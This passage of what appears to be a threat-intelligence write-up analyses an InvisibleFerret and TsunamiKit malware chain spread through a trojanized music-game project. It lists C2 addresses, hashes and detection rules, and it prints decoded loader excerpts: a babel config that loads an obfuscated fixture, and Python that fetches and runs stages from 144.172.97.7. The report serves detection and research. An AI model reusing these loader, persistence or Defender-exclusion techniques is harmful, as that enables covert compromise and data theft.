&lt;p&gt;This differs from Microsoft's normal &lt;code&gt;C:\Windows\System32\RuntimeBroker.exe&lt;/code&gt; and is intended to resemble a legitimate Windows process at a glance.&lt;/p&gt;

&lt;p&gt;The helper code sets up a scheduled task named &lt;code&gt;Runtime Broker&lt;/code&gt; that would execute the AppData binary at user logon. It also contains PowerShell logic for adding Microsoft Defender exclusion paths for the installer, another client location and an &lt;code&gt;msedge.exe&lt;/code&gt;-named miner location. Administrative operations are requested through the standard Windows UAC &lt;code&gt;runas&lt;/code&gt; mechanism, with retries if elevation is not granted.&lt;/p&gt;

&lt;p&gt;The installer download path includes a &lt;strong&gt;reverse-bytes plus gzip&lt;/strong&gt; decoding step for the retrieved content. ESET describes the subsequent .NET components as &lt;strong&gt;TsunamiInstaller&lt;/strong&gt;, &lt;strong&gt;TsunamiClientInstaller&lt;/strong&gt;, and &lt;strong&gt;TsunamiClient&lt;/strong&gt;, with additional spying and mining functionality. This case recovers the loader and injector code that lead toward those stages, but not those later binaries. [3]&lt;/p&gt;

&lt;p&gt;The combination of the &lt;strong&gt;1,000-profile array&lt;/strong&gt;, &lt;strong&gt;exact XOR key&lt;/strong&gt;, &lt;strong&gt;&lt;code&gt;Runtime Broker.exe&lt;/code&gt; location&lt;/strong&gt;, &lt;strong&gt;scheduled task name&lt;/strong&gt;, and &lt;strong&gt;source-level match between &lt;code&gt;bow&lt;/code&gt; and the Startup script&lt;/strong&gt; is a much sharper TsunamiKit fingerprint than the filename alone.&lt;/p&gt;

&lt;h2&gt;
  
  
  6. Why the bundled Python libraries matter
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;.pyp&lt;/code&gt; directory contains a Python 3.11 runtime plus specific distributions whose functions map directly to the recovered code.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Distribution&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;th&gt;Role in this case&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;pyWinhook&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;1.6.2&lt;/td&gt;
&lt;td&gt;Keyboard and mouse event hooks, imported by &lt;code&gt;pay&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;pyperclip&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;1.8.2&lt;/td&gt;
&lt;td&gt;Clipboard access, imported by &lt;code&gt;pay&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;pywin32&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;306&lt;/td&gt;
&lt;td&gt;Win32 APIs and message pumping for the hook loop&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;psutil&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;5.9.5&lt;/td&gt;
&lt;td&gt;Process inspection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;requests&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;2.31.0&lt;/td&gt;
&lt;td&gt;Python HTTP requests and uploads&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;pycryptodome&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;3.18.0&lt;/td&gt;
&lt;td&gt;Cryptography package present in the environment&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;urllib3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;2.0.3&lt;/td&gt;
&lt;td&gt;HTTP dependency&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;idna&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;3.4&lt;/td&gt;
&lt;td&gt;HTTP dependency&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charset-normalizer&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;3.1.0&lt;/td&gt;
&lt;td&gt;HTTP dependency&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;certifi&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;2023.5.7&lt;/td&gt;
&lt;td&gt;TLS certificate bundle&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;pip&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;22.3.1&lt;/td&gt;
&lt;td&gt;Python package installer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;setuptools&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;65.5.0&lt;/td&gt;
&lt;td&gt;Packaging support&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;These packages are not malicious in isolation. Their significance is the &lt;strong&gt;combination of a self-contained interpreter dropped alongside a RAT that explicitly imports the hook, clipboard, process and HTTP modules&lt;/strong&gt;. It explains how an unfamiliar developer system could immediately support the backdoor's Windows-specific features.&lt;/p&gt;

&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  7. C2 infrastructure: Cloudzy-hosted HTTP and TCP services
&lt;/h2&gt;

&lt;p&gt;Two ports on a single embedded IPv4 address divide the responsibilities of the recovered chain:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Indicator&lt;/th&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;144.172.97.7:1224&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;.npl&lt;/code&gt; / &lt;code&gt;pay&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;HTTP staging, registration and uploads&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;144.172.97.7:2249&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pay&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Persistent, framed-JSON remote control&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/payload/10/102&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.npl&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Retrieve &lt;code&gt;pay&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/brow/10/102&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;.npl&lt;/code&gt; / &lt;code&gt;pay&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Retrieve &lt;code&gt;bow&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/keys&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pay&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Register the compromised host&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/uploads&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pay&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Send selected files&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/adc/10&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pay&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Request an additional auxiliary module&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Public range records place &lt;code&gt;144.172.97.7&lt;/code&gt; in &lt;strong&gt;&lt;code&gt;144.172.97.0/24&lt;/code&gt;&lt;/strong&gt;, announced by &lt;strong&gt;AS14956 (RouterHosting LLC)&lt;/strong&gt;, with reverse DNS of &lt;code&gt;7.97.172.144.static.cloudzy.com&lt;/code&gt;. That makes this a Cloudzy-associated VPS address, consistent with the inexpensive hosted infrastructure used by many malware operations. [5]&lt;/p&gt;

&lt;p&gt;The external-IP geolocation service &lt;code&gt;ip-api[.]com/json&lt;/code&gt; is a separate, legitimate service called by &lt;code&gt;pay&lt;/code&gt; to enrich host details; it is not the main C2.&lt;/p&gt;

&lt;h3&gt;
  
  
  What the network design tells us
&lt;/h3&gt;

&lt;p&gt;InvisibleFerret uses HTTP for discrete transfers and host registration, while its continuously reconnecting TCP client provides interactive command-and-control. The campaign selectors &lt;code&gt;10&lt;/code&gt; and &lt;code&gt;102&lt;/code&gt; appear in both the downloader paths and registration identifiers. These values are useful for correlating the recovered stages with each other.&lt;/p&gt;

&lt;p&gt;The server IP is a case-specific technical indicator. The &lt;strong&gt;InvisibleFerret command set and the TsunamiKit source structures&lt;/strong&gt;, rather than the hosting provider on its own, establish the family relationship.&lt;/p&gt;

&lt;h2&gt;
  
  
  8. Where the case intersects published research
&lt;/h2&gt;

&lt;p&gt;The recovered files fit an established research chronology:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Unit 42 (2023)&lt;/strong&gt; introduced &lt;em&gt;Contagious Interview&lt;/em&gt;, &lt;strong&gt;BeaverTail&lt;/strong&gt; and &lt;strong&gt;InvisibleFerret&lt;/strong&gt;, describing an attacker who sends software developers a trojanized project and runs a Python backdoor after an apparently normal development task. The &lt;code&gt;.pyp&lt;/code&gt; and &lt;code&gt;.npl&lt;/code&gt; installation pattern in this case matches that delivery design. [1]&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Group-IB (September 2024)&lt;/strong&gt; documented web-game lures and the &lt;code&gt;pay&lt;/code&gt; command names &lt;code&gt;ssh_obj&lt;/code&gt;, &lt;code&gt;ssh_cmd&lt;/code&gt;, &lt;code&gt;ssh_clip&lt;/code&gt;, &lt;code&gt;ssh_run&lt;/code&gt;, &lt;code&gt;ssh_upload&lt;/code&gt;, &lt;code&gt;ssh_kill&lt;/code&gt;, &lt;code&gt;ssh_any&lt;/code&gt; and &lt;code&gt;ssh_env&lt;/code&gt;. All eight handlers appear in this recovered &lt;code&gt;pay&lt;/code&gt; variant. Group-IB also reported revisions with additional commands and other exfiltration mechanisms; the recovered sample is an eight-command variant with HTTP uploads. [2]&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ESET (February 2025)&lt;/strong&gt; described DeceptiveDevelopment campaigns targeting freelance developers through trojanized source projects. A music-game repository fits the class of lure described in that research, without needing to assume a specific recruiter or message platform. [6]&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ESET / Virus Bulletin (September 2025)&lt;/strong&gt; documented &lt;strong&gt;TsunamiKit&lt;/strong&gt; entering the chain through a modified InvisibleFerret &lt;code&gt;bow&lt;/code&gt; module. The recovered &lt;code&gt;bow&lt;/code&gt;/injector pair reproduces the distinctive loader structure, encoded Pastebin profiles, XOR key and &lt;code&gt;Runtime Broker.exe&lt;/code&gt; persistence specification. This is the closest technical match in the published literature. [3]&lt;/p&gt;

&lt;p&gt;Other research from GitLab, NVISO, Atlassian and Logpresso shows how the broader campaign's initial delivery evolved, including additional repositories, ClickFix and malicious npm packages. Those variants provide background context; they are not needed to explain the recovered February 2025 chain. [4][7][8]&lt;/p&gt;

&lt;h2&gt;
  
  
  9. Indicators, hashes and detection opportunities
&lt;/h2&gt;

&lt;p&gt;These are the recovered case's SHA-256 values, rather than hashes borrowed from other publications.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Recovered artifact&lt;/th&gt;
&lt;th&gt;SHA-256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;.npl&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;97fc2d5744d4a8a776260a6304f35d74017f6db43f77510297aa2977ebde6037&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;.n2/pay&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ae0bd0b75659ee1c13acfbbf8f4b887f131f2feb89d4264b20a8dedbf7d8a879&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;.n2/bow&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;54400afac62458d8bab19889882a4bd5191e1b01c5fe9acdb1ade29d478b136c&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Startup TsunamiInjector&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0e306696c35f9ddf50cd3bbe0b09ac4f1532c52e928e54db6a35c6371892f43c&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Archived &lt;code&gt;__mocks__/audio-config.js&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ca9ccd8aa46e3a6647237991774b872d665c24b69ea979922350d7794a087ccb&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Archived &lt;code&gt;babel.config.js&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;&lt;code&gt;2dc95e33aa626a314e0fc6c7ec5c9b1aa2f2c4583e069e69abf5cfa8add5cde7&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;High-value detection combinations are:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;A nonstandard &lt;code&gt;%USERPROFILE%\.pyp\python.exe&lt;/code&gt; appearing alongside &lt;code&gt;.npl&lt;/code&gt; and &lt;code&gt;.n2/pay&lt;/code&gt; within minutes.&lt;/li&gt;
&lt;li&gt;Python executing a hidden, extensionless &lt;code&gt;pay&lt;/code&gt; or &lt;code&gt;bow&lt;/code&gt; file from &lt;code&gt;.n2&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Outbound connections from that Python environment to &lt;code&gt;144.172.97.7&lt;/code&gt;, particularly TCP 1224 or 2249.&lt;/li&gt;
&lt;li&gt;A Startup file named &lt;code&gt;Windows Update Script.pyw&lt;/code&gt; or a task named &lt;code&gt;Runtime Broker&lt;/code&gt; pointing into user AppData.&lt;/li&gt;
&lt;li&gt;Deobfuscated code containing &lt;code&gt;!!!HappyPenguin1950!!!&lt;/code&gt;, the Tsunami installer variables, and the 1,000-entry encoded Pastebin array.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Full SHA-1/SHA-256 records, additional paths, ATT&amp;amp;CK mappings, and the decoded profile list are included with the technical supplement.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;This case documents a coherent, recovered malware chain: &lt;strong&gt;a developer project with an anomalous Babel import; an InvisibleFerret Python runtime and loader; a command-capable &lt;code&gt;pay&lt;/code&gt; backdoor with developer-secret and input-capture functions; and a modified &lt;code&gt;bow&lt;/code&gt; carrying a TsunamiKit injector&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The most distinctive finding is the directly verified relationship between &lt;code&gt;bow&lt;/code&gt; and the separate Startup script: they contain the &lt;strong&gt;same normalized TsunamiInjector source&lt;/strong&gt;, including the 1,000 encoded Pastebin profiles and the &lt;code&gt;Runtime Broker&lt;/code&gt; persistence design. The eight-command InvisibleFerret dispatcher, stage paths and network roles independently align with Group-IB and Unit 42. Together, these features strongly associate the tooling with the North Korea-aligned DeceptiveDevelopment / Contagious Interview activity cluster.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scope in brief.&lt;/strong&gt; The original February 2025 source-tree revision and historical packet-level network telemetry are not available, and the later .NET Tsunami binaries were not recovered. Accordingly, the analysis establishes the malware's installed components and capabilities, but does not assign an exact last-active date or quantify stolen data. The original samples were decoded statically without executing them, and identifying host details have been excluded.&lt;/p&gt;




&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Appendix A — Annotated decoded code
&lt;/h2&gt;

&lt;p&gt;The following excerpts were produced by offline static decoding of recovered samples. Code blocks show short excerpts or non-executing explanatory logic rather than complete runnable payloads.&lt;/p&gt;

&lt;h3&gt;
  
  
  Sample inventory
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Recovered sample&lt;/th&gt;
&lt;th&gt;Original size&lt;/th&gt;
&lt;th&gt;Layers removed&lt;/th&gt;
&lt;th&gt;Plaintext size&lt;/th&gt;
&lt;th&gt;Plaintext lines&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;.npl&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;6,503 B&lt;/td&gt;
&lt;td&gt;64&lt;/td&gt;
&lt;td&gt;1,988 B&lt;/td&gt;
&lt;td&gt;59&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;.n2/pay&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;22,235 B&lt;/td&gt;
&lt;td&gt;64&lt;/td&gt;
&lt;td&gt;27,637 B&lt;/td&gt;
&lt;td&gt;626&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;.n2/bow&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;257,995 B&lt;/td&gt;
&lt;td&gt;114&lt;/td&gt;
&lt;td&gt;205,768 B&lt;/td&gt;
&lt;td&gt;1,671&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Windows Update Script.pyw&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;123,030 B&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;198,658 B&lt;/td&gt;
&lt;td&gt;1,444&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The wrapper used across the Python stages is recognizable from its imports and evaluation sequence. A static reader can reverse the encoded byte string, Base64-decode it, and zlib-decompress it repeatedly, saving the final plaintext as &lt;strong&gt;data&lt;/strong&gt; instead of evaluating it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Non-executing illustration of one wrapper layer.
# The input is the bytes literal recovered from the wrapper AST.
&lt;/span&gt;&lt;span class="n"&gt;reversed_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;encoded_literal&lt;/span&gt;&lt;span class="p"&gt;[::&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;base64_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;b64decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;reversed_bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;next_source_text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;zlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decompress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base64_bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;bow&lt;/code&gt; component contains its own source-obfuscation generator, which first substitutes a random numeric value into &lt;code&gt;RandVar&lt;/code&gt;, then wraps the next source with the same compression/Base64/reversal sequence. The generator performs 50 rounds for its Startup payload; this matches the separate recovered Startup script's decoding depth.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. JavaScript: build configuration and the disguised fixture
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Source:&lt;/strong&gt; preserved &lt;code&gt;music-game/babel.config.js&lt;/code&gt; from a later archive.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="cm"&gt;/* bandle config */&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;audioConfig&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./__mocks__/audio-config&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;exports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;presets&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;next/babel&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="na"&gt;plugins&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;styled-components&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;ssr&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;displayName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt; &lt;span class="p"&gt;}]],&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The requested module &lt;code&gt;__mocks__/audio-config.js&lt;/code&gt; is a 109,196-byte obfuscated JavaScript artifact dominated by &lt;code&gt;_0x...&lt;/code&gt;-style identifiers, computed string references and encoding. It contains fragments related to browser names and the Python deployment paths (&lt;code&gt;.pyp&lt;/code&gt;, &lt;code&gt;.npl&lt;/code&gt;), and includes the port/address string components observed in the Python stage.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Code relation:&lt;/strong&gt; &lt;code&gt;babel.config.js&lt;/code&gt; → top-level &lt;code&gt;require(...)&lt;/code&gt; → obfuscated JavaScript fixture. The archived JavaScript was inspected without executing it and was not completely deobfuscated to an unobfuscated, line-for-line BeaverTail source. Its relationship to the Python chain is supported by the matching development workflow and tight filesystem timeline; the recovered Python stages provide the detailed behavioral picture.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. &lt;code&gt;.npl&lt;/code&gt;: decoded loader
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Source:&lt;/strong&gt; &lt;code&gt;%USERPROFILE%\.npl&lt;/code&gt;, decoded lines 1–16 and 42–59.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;sType&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;10&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;gType&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;102&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;ot&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;platform&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;system&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;home&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;expanduser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;~&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;host1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;144.172.97.7&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;host2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;host1&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;:1224&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;pd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.n2&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;ap&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pd&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/pay&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The two downloader functions (&lt;code&gt;download_payload&lt;/code&gt; and &lt;code&gt;download_browse&lt;/code&gt;) take their stage paths from these variables. The first requests &lt;code&gt;/payload/10/102&lt;/code&gt;, writes the response to &lt;code&gt;.n2/pay&lt;/code&gt;, and runs it with the current Python interpreter; the second does the same for &lt;code&gt;/brow/10/102&lt;/code&gt; and &lt;code&gt;.n2/bow&lt;/code&gt;. Windows invocation uses &lt;code&gt;CREATE_NO_WINDOW | CREATE_NEW_PROCESS_GROUP&lt;/code&gt;. On macOS, the code exits before loading &lt;code&gt;bow&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Four commented-out &lt;code&gt;host1 = "10.10.51.212"&lt;/code&gt; assignments are present. That private address is not used by the executing assignments in this source. Another commented path, &lt;code&gt;/payload1/&lt;/code&gt;, likewise remains unused.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. &lt;code&gt;.n2/pay&lt;/code&gt;: fingerprinting and registration
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Source:&lt;/strong&gt; &lt;code&gt;pay&lt;/code&gt;, decoded lines 10–69.&lt;/p&gt;

&lt;p&gt;The source defines &lt;code&gt;HostInfo&lt;/code&gt;, &lt;code&gt;Position&lt;/code&gt;, &lt;code&gt;SysInfo&lt;/code&gt; and &lt;code&gt;Trans&lt;/code&gt;. The original machine-ID expression is compact:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;getID&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
